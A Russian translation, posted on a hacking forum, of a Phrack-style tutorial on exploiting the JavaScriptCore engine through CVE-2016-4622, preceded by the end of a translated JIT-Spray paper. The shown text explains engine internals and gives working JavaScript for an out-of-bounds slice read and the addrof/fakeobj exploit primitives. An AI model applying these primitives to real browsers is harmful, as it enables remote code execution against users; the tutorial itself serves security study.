JIT-Spray - это метод, который удобно упростил использование уязвимостей, приводящих к повреждению памяти, поскольку он обходит DEP и ASLR. В то время, когда начали уменьшаться эксплойты, перехват потока управления был все еще достаточен для выполнения произвольного (удаленного) выполнения кода. С 2010 года, когда появился JIT-Spray, многие JIT-компиляторы были уязвимы для него. В этой статье мы подробно рассмотрели эту технику и показали, какие методы используются для сокрытия байтов кода в константах языков высокого уровня. Кроме того, мы опросили затронутые цели на архитектуре x86 и ARM и установили связь с атаками с повторным использованием кода, которые используют JIT- компиляторы. В то время как мы предоставили обзор дополнительных недостатков, которые могут возникнуть в JIT-движках в качестве примера, мы более подробно рассмотрели последний недостаток JIT-Spray, который затронул компилятор AOT ASM.JS в 2017 году в Firefox. Атаки и защита на основе JIT-компилятора все еще остаются живой областью исследований, как показывает множество (академических) мер по смягчению. Переход браузеров на 64-битные и рандомизация размещения адресного пространства с высокой энтропией, по-видимому, делает традиционный JIT-Spray неосуществимым. Однако в свете раскрытия памяти, несовершенной реализации CFI и неполного (то есть двухбайтового) постоянного ослепления повторное использование JIT-кода по-прежнему является ценным активом для злоумышленников. Кроме того, недостатки в JIT-компиляторах (например, уязвимости) остаются привлекательными целями. Несмотря на то, что ситуация с эксплойтами уменьшается, а использование уязвимостей повреждения памяти становится все труднее, мы не хотим исключать возможность повторного появления JIT-Spray в будущих целях. Конечно, защита становится все более изощренной, как и злоумышленники.
Благодарность
Мы хотели бы поблагодарить Мэтта Миллера за то, что он подготовил этот документ и за его плодотворные предложения и комфортное сотрудничество. Кроме того, мы благодарим наших анонимных рецензентов за конструктивную обратную связь, которая помогла нам улучшить статью. Эта работа была поддержана Европейской комиссией в рамках проекта H2020 DS-07-2017 «РЕАКТ» в рамках Грантового соглашения № 786669.
И того более 6 600 слов.
Переведено cпециально для XSS.is
neopaket
Благодарю модератора weaver за предложение данного текста
для перевода и admin за поддержку треда
tabac про перевод статей для ныне полюбившегося мне форума
XSS.
Оригинальная статья:
<https://www.usenix.org/system/files/conference/woot18/woot18-paper-
gawlik.pdf>
|=-----------------------------------------------------------------------=| |=---------------------=[ The Art of Exploitation ]=---------------------=| |=-----------------------------------------------------------------------=| |=------------------=[ Attacking JavaScript Engines ]=-------------------=| |=--------=[ A case study of JavaScriptCore and CVE-2016-4622 ]=---------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ saelo ]=--------------------------------=| |=-----------------------=[ phrack@saelo.net ]=--------------------------=| |=-----------------------------------------------------------------------=|
--[ Оглавление
0 - Введение
1 - Обзор JavaScriptCore
1.1 - Значения, ВМ и (NaN-)
1.2 - Объекты и массивы
1.3 - Функции
2 - Ошибка
2.1 - Уязвимый код
2.2 - О преобразованиях типов JavaScript
2.3 - Эксплуатация с помощью valueOf
2.4 - Размышление об ошибках
3 - Куча JavaScriptCore
3.1 - Основы сборщика данных
3.2 - Помеченное пространство
3.3 - Скопированное пространство
4 - Построение примитивов эксплойтов
4.1 - Предварительные условия: Int64
4.2 - addrof и fakeobj
4.3 - План эксплуатации
5 - Понимание системы JSObject
5.1 - Хранение данных
5.2 - Внутренности JSObject
5.3 - О структурах
6 - Эксплуатация
6.1 - Прогнозирование идентификаторов структуры
6.2 - Объединение вещей: подделка массива Float64Array
6.3 - Выполнение шеллкода
6.4 - Выживающий сбор данных
6.5 - Резюме
7 - злоупотребление процессом рендеринга
7.1 - Процесс WebKit и модель привилегий
7.2 - Политика
7.3 - Кража писем
8 - Ссылки
9 - Исходный код
- [0 - Введение
Эта статья - введение в тему эксплуатации движка JavaScript на примере
конкретной уязвимости. Конкретной целью будет JavaScriptCore, движок внутри
WebKit.
Рассматриваемая уязвимость - CVE-2016-4622 была обнаружена в начале 2016 года, затем сообщается как ZDI-16-485 [1]. Это позволяет злоумышленнику использовать утечки адресов, а также использовать поддельные объекты в JavaScript Engine. Объединение этих примитивов приведет к удаленному выполнению кода внутри процесса компиляции. Ошибка была исправлена в 650552a. Код в этой статье был взят из коммита 320b1fc, который был последним уязвимым. Уязвимость была введена примерно годом ранее с коммитом 2fa4973. Весь код эксплойта был протестирован в Safari 9.1.1.
Эксплуатация указанной уязвимости требует знания различных движков. Устройство движка, которое, однако, также довольно интересно само по себе. Мы будем изучать различные части, современного движка JavaScript. Мы сосредоточимся на JavaScriptCore, но понятия, как правило, могут быть применимы к другим движкам тоже.
Знание языка JavaScript, по большей части, не требуется.
- [1 - Обзор движка JavaScript
Движок JavaScript содержит:
Мы не будем беспокоиться о внутренней работе компилятора его устройство достаточно сложно, но они в основном не имеют отношения к этой конкретной ошибке. Для наших целей достаточно рассматривать компилятор как черный ящик, который создаёт байт-код (и нативный код в случае JIT-компилятора) из исходного кода.
---- [1.1 - ВМ и NaN-boxing
Виртуальная машина (ВМ) обычно содержит интерпретатор, который может
непосредственно выполнить байт-код. ВМ часто реализуется как машина основанная
на стеке(stack-based machines) (в отличие от машин на основе регистров) и,
таким образом, чтобы работать вокруг стека. Обработчик может выглядеть
примерно так:
Code:Copy to clipboard
CASE(JSOP_ADD)
{
MutableHandleValue lval = REGS.stackHandleAt(-2);
MutableHandleValue rval = REGS.stackHandleAt(-1);
MutableHandleValue res = REGS.stackHandleAt(-2);
if (!AddOperation(cx, lval, rval, res))
goto error;
REGS.sp--;
}
END_CASE(JSOP_ADD)
Обратите внимание, что этот пример на самом деле взят из движка Firefox Spidermonkey поскольку JavaScriptCore (далее сокращенно - JSC) использует интерпретатор который написан на языке ассемблера и поэтому не сможет работать на примере, приведенном выше . Однако заинтересованный читатель может найти реализацию низкоуровневого переводчика АО (llint) в LowLevelInterpreter64.asm.
Часто первый JIT-компилятор(иногда называемый базовым JIT) заботиться о уменьшении ресурсов JIT-компиляторов более высокой ступени, и выполняет более сложные оптимизации. Оптимизация JIT-компиляторов как правило, спекулятивная, то есть они будут выполнять оптимизацию на основе некоторых своих предположений, например, «эта переменная всегда будет содержать число». Если предположение окажется неверным, то код передается на один из первых компиляторов. Различные типы исполнения упоминаются в [2] и [3] главе.
JavaScript - это динамически типизированный язык. Таким образом, тип информации связан со значениями (во время выполнения), а не с переменными (во время компиляции).Система типов JavaScript [4] определяет примитивные типы (число, строка, логическое значение, null, undefined, символ) и объекты (включая массивы и функции). В частности, в JavaScript нет понятия классов, как на других языках. Вместо этого JavaScript использует то, что называется «наследование на основе прототипа», где каждый объект имеет (возможно null) ссылка на объект-прототип, свойства которого он включает. Если ты заинтересован, то можешь обратиться к спецификации JavaScript [5] для получения дополнительной информации.
Все основные функции JavaScript не могут быть более 8 байт. Это сделано для повышения производительности (быстрое копирование, вписывается в регистр на 64-битной архитектуры). Некоторые движки, такие как Google v8, используют теговые указатели, но здесь наименее значимые биты указывают, является ли значение - указателем и или некоторой формой непосредственного значения. JavaScriptCore (ЗАО)и Spidermonkey в Firefox, с другой стороны, используют концепцию под названием NaN-boxing. NaN-boxing использует тот факт, что существует несколько бит, которые все представляют NaN, поэтому другие значения могут быть закодированы в них. В частности, каждое значение IEEE 754 с плавающей запятой и со всеми экспоненциальными битами установлено, но дробь, не равная нулю, представляет NaN. Это оставляет нам 2 ^ 51 различных битовых комбинаций. Этого достаточно, чтобы кодировать 32-битные целые и указатели, поскольку даже на 64-битных платформах в настоящее время используется только 48 бит адресации.
Схема, используемая JSC, хорошо объясняется в JSCJSValue.h. Соответствующая часть указана ниже, так как эта информация будет очень важна позже:
Интересно, что 0x0 не является допустимым JSValue и приведет к падению движка .
---- [1.2 - Объекты и массивы
Объекты в JavaScript - это, по сути, наборы свойств, которые хранится в виде
пар (ключ, значение). Свойства могут быть доступны либо через оператор “точку”
(foo.bar) или через квадратные скобки (foo ['bar']). По крайней мере в теории,
значения, используемые в качестве ключей, преобразуются в строки перед
выполнением.
Массивы описываются спецификацией как специальные («экзотические») объекты чьи свойства также называются элементами, если имя свойства может быть представлено 32-разрядным целым числом [7]. Большинство движков сегодня расширяют это понятие на все объекты. Затем массив становится объектом со специальной «длиной» , значение которого всегда равно индексу высшего элемента плюс один. Конечным результатом всего этого является то, что каждый объект имеет свойства, доступ к которым осуществляется через строку или символьный ключ, и элементы, к которым осуществляется доступ через целочисленные индексы.
Внутри себя JSC хранит как свойства, так и элементы в одной и той же памяти и хранит указатель на эту область в самом объекте. Этот указатель указывает на середину области, свойства сохраняются слева от него (нижние адреса) и элементы справа от него. Существует также маленький заголовок, расположенный перед указанным адресом, который содержит длину элемента. Эта концепция называется "Бабочка" поскольку значения расширяются влево и вправо, подобно крыльям бабочки(Предположительно). В дальнейшем мы будем ссылаться как на указатель и область памяти как «Бабочка».
Code:Copy to clipboard
--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
^
|
+---------------+
|
+-------------+
| Some Object |
+-------------+
Как правило, элементы не должны храниться линейно в памяти.
В частности, такой код, как:
Code:Copy to clipboard
a = [];
a[0] = 42;
a[10000] = 42;
Этот массив не будет занимать 10001 ячейку памяти. Помимо различных моделей хранения массивов, массивы также могут хранить их данные с использованием разных представлений. Например, в массиве из 32 бит, целые числа могут храниться в собственном виде, чтобы избежать (NaN-) распаковки и процесса перезаписи во время большинства операций и это существенно поможет нам сэкономить память. Как таковой, JSC определяет набор различных типов индексации, которые можно найти в IndexingType.h. Вот самые важные из них:
Code:Copy to clipboard
ArrayWithInt32 = IsArray | Int32Shape;
ArrayWithDouble = IsArray | DoubleShape;
ArrayWithContiguous = IsArray | ContiguousShape;
Здесь последний тип хранит JSValues, в то время как первые два хранят свои нативные типы.(Перевод бога XD)
На данный момент ты, вероятно, задаешься вопросом, как поиск свойства выполнен в этой модели. Мы углубимся в это позже, но это заключается в том, что специальный мета-объект, называемый "структурой" в jSC, связан с каждым объектом, который обеспечивает отображение из свойства имена для номеров слотов.
---- [1.3 - Функции
При выполнении, внутри функции становятся доступны две специальные переменные.
Одна из них, «arguments», обеспечивает доступ к аргументам функции, что
позволяет создавать функции с переменным количеством аргументов. Другая
относится к различным объектам в зависимости от способа вызова функции:
Поскольку функции являются приоритетными объектами в JavaScript, они тоже могут иметь свойства. Мы уже видели свойство .prototype выше. Два других довольно интересных свойства каждой функции (на самом деле функции prototype)
Code:Copy to clipboard
function decorate(func) {
return function() {
for (var i = 0; i < arguments.length; i++) {
// do something with arguments[i]
}
return func.apply(this, arguments);
};
}
Это также имеет некоторые последствия внутри движка JavaScript, поскольку они не могут делать какие-либо предположения о значении ссылочного объекта, с которым они вызываются, так как он может быть установлен на произвольные значения из скрипта. Таким образом, все внутренние функции JavaScript должны будут проверять тип не только своих аргументов, но и объекта this.
Внутренне встроенные функции и методы [8] обычно реализуются одним из двух способов: как встроенные функции в C ++ или в самом JavaScript. Давайте рассмотрим простой пример нативной функции в JSC:
Реализация Math.pow ():
Code:Copy to clipboard
EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec)
{
// ECMA 15.8.2.1.13
double arg = exec->argument(0).toNumber(exec);
double arg2 = exec->argument(1).toNumber(exec);
return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
}
Мы можем увидеть:
1. Подпись для собственных функций JavaScript
2. Как аргументы извлекаются с использованием метода (который возвращает
неопределенное значение, если было предоставлено недостаточно аргументов)
3. Как аргументы преобразуются в их требуемый тип. Существует набор правил
преобразования, регулирующих преобразование, например, массивы к числам,
которые будут использовать toNumber. Подробнее об этом позже.
4. Как выполняется фактическая операция с собственным типом данных
5. Как результат возвращается через return. В этом случае просто путем
преобразования числа в значение.
Здесь виден еще один шаблон: базовая реализация различных операций (в данном случае operationMathPow) перемещается в отдельные функции, поэтому их можно вызывать непосредственно из скомпилированного кода JIT.
**
--[ 2 - The bug**
Данная ошибка заключается в реализации Array.prototype.slice [9]. Собственная
функция arrayProtoFuncSlice, расположенная в ArrayPrototype.cpp, вызывается
всякий раз, когда вызывается метод slice в JavaScript:
Code:Copy to clipboard
var a = [1, 2, 3, 4];
var s = a.slice(1, 3);
// s now contains [2, 3]
Реализация приведена ниже с незначительным переформатированием, некоторыми упущениями для удобочитаемости и маркерами для пояснения. Полная реализация также может быть найдена тут [10].
Code:Copy to clipboard
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
/* [[ 1 ]] */
JSObject* thisObj = exec->thisValue()
.toThis(exec, StrictMode)
.toObject(exec);
if (!thisObj)
return JSValue::encode(JSValue());
/* [[ 2 ]] */
unsigned length = getLength(exec, thisObj);
if (exec->hadException())
return JSValue::encode(jsUndefined());
/* [[ 3 ]] */
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end =
argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
/* [[ 4 ]] */
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
// We can only get an exception if we call some user function.
if (UNLIKELY(speciesResult.first ==
SpeciesConstructResult::Exception))
return JSValue::encode(jsUndefined());
/* [[ 5 ]] */
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
isJSArray(thisObj))) {
if (JSArray* result =
asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
JSObject* result;
if (speciesResult.first == SpeciesConstructResult::CreatedObject)
result = speciesResult.second;
else
result = constructEmptyArray(exec, nullptr, end - begin);
unsigned n = 0;
for (unsigned k = begin; k < end; k++, n++) {
JSValue v = getProperty(exec, thisObj, k);
if (exec->hadException())
return JSValue::encode(jsUndefined());
if (v)
result->putDirectIndex(exec, n, v);
}
setLength(exec, result, n);
return JSValue::encode(result);
}
Код делает следующее:
1. Получает ссылочный объект для вызова метода (это будет объект массива)
2. Получает длину массива
3. Преобразует аргументы (начальный и конечный индексы) в собственные
целочисленные типы и закрепляет их в диапазоне [0, длина)
4. Проверяет, должен ли использоваться видовой конструктор [11]
5. Выполняет нарезку
Последний шаг выполняется одним из двух способов: если массиве идут все элеметы подряд, без пропусков, то будет использоваться 'fastSlice', который просто записывает значения memcpy в новый массив с использованием заданного индекса и длины. Если быстрый путь невозможен, используется простой цикл для извлечения каждого элемента и добавления его в новый массив. Обратите внимание, что в отличие в методах доступа к свойствам, используемых на медленном пути, fastSlice не выполняет никакой дополнительной проверки границ
Смотря на код, легко предположить, что переменные start и end будут меньше размера массива после того, как они были преобразованы в собственные целые числа. Однако мы можем разрушить это предположение, используя (ab) правила преобразования типов JavaScript.
---- [2.2 - О правилах преобразования JavaScript
JavaScript по своей природе слабо типизирован, что означает, что он с радостью
преобразует значения различных типов в тот тип, который ему требуется в
настоящее время. Рассмотрим Math.abs (), который возвращает абсолютное
значение аргумента. Все перечисленные ниже являются «действительными»
вызовами, то есть они не вызовут исключение:
Code:Copy to clipboard
Math.abs(-42); // argument is a number
// 42
Math.abs("-42"); // argument is a string
// 42
Math.abs([]); // argument is an empty array
// 0
Math.abs(true); // argument is a boolean
// 1
Math.abs({}); // argument is an object
// NaN
Напротив, языки со строгой типизацией, такие как python, обычно вызывают исключение (или, в случае языков со статической типизацией, выдают ошибку компилятора), если, например, строка передается в abs ().
Правила преобразования для числовых типов описаны в [12]. Правила, регулирующие преобразование типов объектов в числа (и примитивные типы в целом), особенно интересны. В частности, если объект имеет вызываемое свойство с именем «valueOf», этот метод будет вызван, а возвращаемое значение будет использовано, если оно является примитивным значением. И поэтому:
Code:Copy to clipboard
Math.abs({valueOf: function() { return -42; }});
// 42
---- [2.3 - Эксплуатация с помощью valueOf
В случае arrayProtoFuncSlice
преобразование в тип примитива выполняется в
аргументе ClampedIndexFromStartOrEnd. Этот метод также ограничивает аргументы
в диапазоне [0, lenth):
Code:Copy to clipboard
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec); // Conversion happens here
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length :
static_cast<unsigned>(indexDouble);
Теперь, если мы изменим длину массива внутри функции valueOf одного из аргументов, то реализация slice продолжит использовать предыдущую длину, что приведет к выходу массива за пределы границ во время memcpy.
Однако, прежде чем делать это, мы должны убедиться, что размер хранилища элементов действительно изменяется, если мы уменьшаем массив. Для этого давайте кратко рассмотрим реализацию .length setter. Из JSArray :: setLength:
Code:Copy to clipboard
unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
lengthToClear > costToAllocateNewButterfly) {
reallocateAndShrinkButterfly(exec->vm(), newLength);
return true;
}
Этот код реализует простую эвристику(simple heuristic), чтобы избежать слишком частого изменения массива. Таким образом, для принудительного изменения нашего массива нам потребуется, чтобы новый размер был намного меньше старого. Изменение размера, например, от 100 элементов до 0 сделают свое дело.
Вот как мы можем использовать Array.prototype.slice:
Code:Copy to clipboard
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]
Правильным выводом был бы массив размером 10, заполненный значениями = 'undefined', так как массив был очищен перед операцией slice. Тем не менее, мы можем увидеть некоторые значения с плавающей точкой в массиве. Похоже, мы прочитали некоторые вещи после конца этого массива
---- [2.4 - Размышление об ошибке
Эта конкретная ошибка программирования не новая и уже некоторое время
эксплуатируется [13, 14, 15]. Основной проблемой здесь является (изменяемое)
состояние, которое «кэшируется» стеке (в данном случае это длина объекта
массива) в сочетании с различными механизмами обратного вызова, которые могут
выполнять код, предоставленный пользователем, далее в стеке вызовов (в этом
случае "valueOf" метод). С помощью этой настройки довольно легко сделать
ложные предположения о состоянии движка на протяжении всей функции. Такая же
проблема возникает и в DOM из-за различных обратных вызовов событий.
- [3 - Куча JavaScriptCore
На данный момент мы прочитали данные за пределами нашего массива, но не знаем,
зачем мы к ним обращаемся. Чтобы понять это, необходимы некоторые базовые
знания о распределителях кучи.
---- [3.1 - Основысборщика
мусора
JavaScript - это язык для сборки мусора, поэтому программисту не нужно
заботиться об управлении памятью. Вместо этого сборщик мусора будет время от
времени собирать недоступные объекты.
Одним из подходов к сбору мусора является подсчет ссылок, который широко используется во многих приложениях. Однако на сегодняшний день все основные движки на JavaScript вместо этого используют алгоритм метки и развертки. Здесь сборщик регулярно сканирует все активные объекты, начиная с набора корневых узлов, а затем освобождает все мертвые объекты. Корневыми узлами обычно являются указатели, расположенные в стеке, а также глобальные объекты, такие как объект 'window' в контексте веб-браузера.
Существуют различия между системами сбора мусора. Теперь мы обсудим некоторые ключевые свойства систем сбора мусора, которые должны помочь читателю понять часть связанного кода. Читатели, знакомые с этим, могут свободно перейти к концу этого раздела.
Во-первых, JSC использует консервативный сборщик мусора [16]. По сути, это означает, что GC не отслеживает сами корневые узлы. Вместо этого во время GC сканирует в стеке любое значение, которое может быть указателем в кучу, и обрабатывает их как корневые узлы. В отличие, например, от Spidermonkey, который использует точный сборщик мусора и, следовательно, должен обернуть все ссылки на объекты, в стеке, внутри класса указателей (Rooted <>), который заботится о регистрации объекта с помощью сборщика мусора.
Далее JSC использует инкрементный сборщик мусора. Этот вид сборщика мусора выполняет маркировку в несколько этапов и позволяет приложению работать между ними, уменьшая задержку GC. Однако это требует некоторых дополнительных усилий для правильной работы. Рассмотрим следующий случай:
Чтобы избежать этого сценария, в движок вставлены так называемые "барьеры" записи. Они заботятся об уведомлении сборщика мусора при таком сценарии. Эти барьеры реализованы в JSC с помощью классов WriteBarrier <> и CopyBarrier <>.
---- [3.2 - Помеченное место
Помеченное пространство представляет собой набор блоков памяти, которые
отслеживают выделенные ячейки. В JSC каждый объект, выделенный в отмеченном
пространстве, должен наследоваться от класса JSCell и, таким образом,
начинаться с восьмибайтового заголовка, который, среди других полей, содержит
текущее состояние ячейки, используемое GC. Это поле используется сборщиком для
отслеживания уже посещенных ячеек.
Есть еще одна вещь, о которой стоит упомянуть - помеченном пространстве: JSC хранит экземпляр MarkedBlock в начале каждого помеченного блока:
Code:Copy to clipboard
inline MarkedBlock* MarkedBlock::blockFor(const void* p)
{
return reinterpret_cast<MarkedBlock*>(
reinterpret_cast<Bits>(p) & blockMask);
}
Этот экземпляр содержит, помимо прочего, указатели на владеющий экземпляр Heap и VM, который позволяет движку получать их, если они недоступны в текущем контексте. Это усложняет настройку поддельных объектов, поскольку при выполнении определенных операций может потребоваться действительный экземпляр MarkedBlock. Таким образом, желательно создавать поддельные объекты внутри допустимого отмеченного блока, если это возможно.
---- [3.3 - Скопированное пространство
Скопированное пространство хранит буферы памяти, которые связаны с каким-либо
объектом внутри отмеченного пространства. В основном это "бабочки", но
содержимое типизированных массивов также может быть здесь. Таким образом, наш
доступ за пределы границ происходит в этой области памяти.
Скопированный распределитель пространства очень прост:
Code:Copy to clipboard
CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out)
{
ASSERT(is8ByteAligned(reinterpret_cast<void*>(bytes)));
size_t currentRemaining = m_currentRemaining;
if (bytes > currentRemaining)
return false;
currentRemaining -= bytes;
m_currentRemaining = currentRemaining;
*out = m_currentPayloadEnd - currentRemaining - bytes;
ASSERT(is8ByteAligned(*out));
return true;
}
По сути, это распределитель: он просто вернет следующие N байтов памяти в текущем блоке, пока блок не будет полностью использован. Таким образом, почти гарантируется, что два следующих выделения будут размещены в памяти рядом друг с другом.
Это хорошая новость для нас. Если мы выделим два массива по одному элементу в каждом, то две "бабочки" будут рядом друг с другом практически в каждом случае.
- [4 - Создание примитивных эксплойтов
Хотя рассматриваемая ошибка на первый взгляд выглядит как внешнее чтение, на
самом деле она является более мощным примитивом, поскольку позволяет нам
«вставлять» значения JSV, которые мы выбираем, во вновь созданные массивы
JavaScript и, следовательно, в движок.
Теперь мы создадим два примитива эксплойта из данной ошибки, что позволит нам
произвести:
1. Утечку адреса произвольного объекта JavaScript и
2. Вставить поддельный JavaScript-объект в движок.
Мы будем называть эти примитивы «addrof» и «fakeobj».
---- [4.1 Int64
Как мы уже видели, наш примитив эксплойта в настоящее время возвращает
значения с плавающей запятой вместо целых. На самом деле, по крайней мере в
теории, все числа в JavaScript являются 64-битными числами с плавающей точкой
[17]. В действительности, как уже упоминалось, большинство механизмов имеют
выделенный 32-разрядный целочисленный тип по соображениям производительности,
но при необходимости преобразуются в значения с плавающей запятой (т. е. при
переполнении). Таким образом, невозможно представить произвольные 64-битные
целые числа (и, в частности, адреса) примитивными числами в JavaScript.
Таким образом, должен был быть создан вспомогательный модуль, который позволял бы хранить 64-битные целочисленные экземпляры. Который поддерживает:
Последний пункт заслуживает нашего обсуждения. Как мы видели выше, мы получаем двойника, базовая память которого интерпретируется как нативное целое число, является нашим желаемым адресом. Таким образом, нам нужно конвертировать между родными двойными числами и нашими целыми числами, чтобы основные биты оставались неизменными. asDouble () можно рассматривать как этот код:
Code:Copy to clipboard
double asDouble(uint64_t num)
{
return *(double*)#
}
Метод JSValue далее учитывает процедуру NaN-упаковки и создает JSValue с заданным битовым шаблоном. Если тебе интересно, то ты можешь получить более подробную информацию о файле int64.js внутри прилагаемого архива исходного кода.
После этого давайте вернемся к созданию наших двух примитивов эксплойтов.
---- [4.2 addrof и fakeobj
Оба примитива полагаются на тот факт, что JSC хранит массивы двойников в
нативном представлении, а не пошутчно. По сути, это позволяет нам писать
собственные двойные значения (тип индексации ArrayWithDoubles), но механизм
обрабатывает их как JSValues (тип индексации ArrayWithContiguous) и наоборот.
Итак, вот шаги, необходимые для использования утечки адреса:
1. Создайте массив парных чисел. Он будет храниться внутри как IndexingType
ArrayWithDouble
2. Установите объект с пользовательской функцией valueOf, которая будет
2.1 Уменьшать ранее созданный массив
2.2 Выделять новый массив, содержащий только объект, адрес которого мы хотим
знать. Этот массив (скорее всего) будет расположен сразу за новой "бабочкой",
так как он находится в скопированном пространстве
2.3 Возвращать значение больше, чем новый размер массива, чтобы вызвать ошибку
3. Вызвать slice () для целевого массива объекта из шага 2 в качестве одного
из аргументов
Теперь мы найдем нужный адрес в виде 64-битного значения с плавающей запятой внутри массива. Это работает, потому что slice () сохраняет тип индексации. Таким образом, наш новый массив будет обрабатывать данные как собственные двойные значения, что позволяет нам пропускать произвольные экземпляры JSValue и, следовательно, указатели.
Примитив fakeobj работает в основном наоборот. Здесь мы вводим нативные
двойные числа в массив JSValues, что позволяет нам создавать указатели
JSObject:
1. Создайте массив объектов. Он будет храниться внутри как IndexingType
ArrayWithContiguous
2. Установите объект с пользовательской функцией valueOf, которая будет
2.1 уменьшать ранее созданный массив
2.2 выделять новый массив, содержащий просто двойное число, битовая комбинация
которого совпадает с адресом JSObject, который мы хотим внедрить. Двойник
будет храниться в собственном виде, так как IndexingType массива будет
ArrayWithDouble
2.3 возвращать значение больше, чем новый размер массива, чтобы вызвать ошибку
3. Вызывать slice () для целевого массива объекта из шага 2 в качестве одного
из аргументов
Для полноты реализации оба примитива предоставляю ниже.
Code:Copy to clipboard
function addrof(object) {
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.1337); // Array must be of type ArrayWithDoubles
var hax = {valueOf: function() {
a.length = 0;
a = [object];
return 4;
}};
var b = a.slice(0, hax);
return Int64.fromDouble(b[3]);
}
function fakeobj(addr) {
var a = [];
for (var i = 0; i < 100; i++)
a.push({}); // Array must be of type ArrayWithContiguous
addr = addr.asDouble();
var hax = {valueOf: function() {
a.length = 0;
a = [addr];
return 4;
}};
return a.slice(0, hax)[3];
}
---- [4.3 - План эксплуатации
С этого момента нашей целью будет получить произвольный примитив для чтения /
записи в память через поддельный объект JavaScript. Мы сталкиваемся со
следующими вопросами:
Q1. Какой объект мы хотим подделать?
Q2. Как мы подделываем такой объект?
Q3. Где мы размещаем поддельный объект, чтобы знать его адрес?
Некоторое время механизмы JavaScript поддерживали типизированные массивы [18], эффективное и высокооптимизируемое хранилище для необработанных двоичных данных. Они оказываются хорошими кандидатами для нашего поддельного объекта, поскольку они изменчивы (в отличие от строк JavaScript), и, таким образом, управление их указателем данных приводит к произвольному примитиву чтения / записи, используемому из скрипта. В конечном итоге наша цель теперь - подделать экземпляр Float64Array.
Теперь мы обратимся пунктам к Q2 и Q3, которые требуют обсуждения внутренних компонентов JSC, а именно системы JSObject.
- [5 - Понимание системы JSObject
JavaScript-объекты реализуются в JSC с помощью комбинации классов C ++. В
центре находится класс JSObject, который сам по себе является JSCell (и как
таковой отслеживается сборщиком мусора). Существуют различные подклассы
JSObject, которые слабо, но напоминают разные объекты JavaScript, такие как
массивы (JSArray), типизированные массивы (JSArrayBufferView) или Proxys
(JSProxy).
Теперь мы рассмотрим различные части, которые составляют JSObject внутри движка JSC.
---- [5.1 - Хранение данных
Свойства являются наиболее важным аспектом объектов JavaScript. Мы уже видели,
как хранятся свойства в движке - "бабочка". Но это только половина правды.
Помимо бабочки, JSObjects также может иметь встроенное хранилище (по умолчанию
6 слотов, но подлежит анализу во время выполнения), расположенное сразу после
объекта в памяти. Это может привести к небольшому приросту производительности,
если для объекта не требуется выделять бабочку.
Встроенное хранилище нам интересно, так как мы можем украсть адрес объекта и, таким образом, узнать адрес его встроенных слотов. Они являются хорошим кандидатом для размещения нашего поддельного объекта. В качестве дополнительного бонуса, при этом мы также избегаем любых проблем, которые могут возникнуть при размещении объекта за пределами отмеченного блока, как обсуждалось ранее. Это отвечает Q3.
Давайте обратимся к Q2 сейчас.
---- [5.2 - JSObject innerals
Начнем с примера: предположим, что мы запускаем следующий фрагмент кода JS:
obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};
Это приведет к следующему объекту:
Code:Copy to clipboard
(lldb) x/6gx 0x10cd97c10
0x10cd97c10: 0x0100150000000136 0x0000000000000000
0x10cd97c20: 0xffff000000001337 0x0000000000000006
0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10
Первым словом является JSCell. Второй указатель - "бабочка", который является нулевым, поскольку все свойства хранятся встроенными. Далее идут встроенные слоты JSValue для четырех свойств: целое число, ложное значение, двойной тип и указатель JSObject. Если бы мы добавили больше свойств к объекту, в какой-то момент для их хранения была бы выделена бабочка.
Так, что содержит JSCell? JSCell.h раскрывает:
StructureID m_structureID;
Это самый интересный, мы рассмотрим его ниже.
IndexingType m_indexingType;
Мы уже видели это раньше. Указывает режим хранения элементов объекта.
JSType m_type;
Хранит тип этой ячейки: строка, символ, функция, простой объект, ...
TypeInfo :: InlineTypeFlags m_flags;
Флаги, которые не слишком важны для наших целей. JSTypeInfo.h содержит
дополнительную информацию.
CellState m_cellState;
Мы также видели это раньше. Используется сборщиком мусора во время сбора.
---- [5.3 - О структурах
JSC создает мета-объекты, которые описывают структуру или структуру объекта
JavaScript. Эти объекты представляют сопоставления от имен свойств к индексам
во встроенном хранилище или бабочке (оба обрабатываются как массивы JSValue).
В своей основной форме такая структура может представлять собой массив пар
<имя свойства, индекс слота>. Он также может быть реализован в виде связанного
списка или хэш-карты. Вместо того чтобы хранить указатель на эту структуру в
каждом экземпляре JSCell, разработчики решили сохранить 32-битный индекс в
таблице структуры, чтобы сэкономить место для других полей.
Так что же происходит, когда к объекту добавляется новое свойство? Если это происходит в первый раз, то будет выделен новый экземпляр структуры, содержащий индексы предыдущего интервала для всех существующих свойств и дополнительный для нового свойства. Затем свойство будет сохранено по соответствующему индексу, возможно, требующему перераспределения бабочки. Чтобы избежать повторения этого процесса, результат структуры может быть кэширован в предыдущей структуре, в структуре данных, называемой «таблица транзита». Первоначальная структура также может быть скорректирована, чтобы выделить больше встроенного хранилища или хранилища «бабочка» заранее, чтобы избежать его выделения. Этот механизм в конечном итоге делает конструкции многоразовыми.
Время для примера. Предположим, у нас есть следующий код JavaScript:
Code:Copy to clipboard
var o = { foo: 42 };
if (someCondition)
o.bar = 43;
else
o.baz = 44;
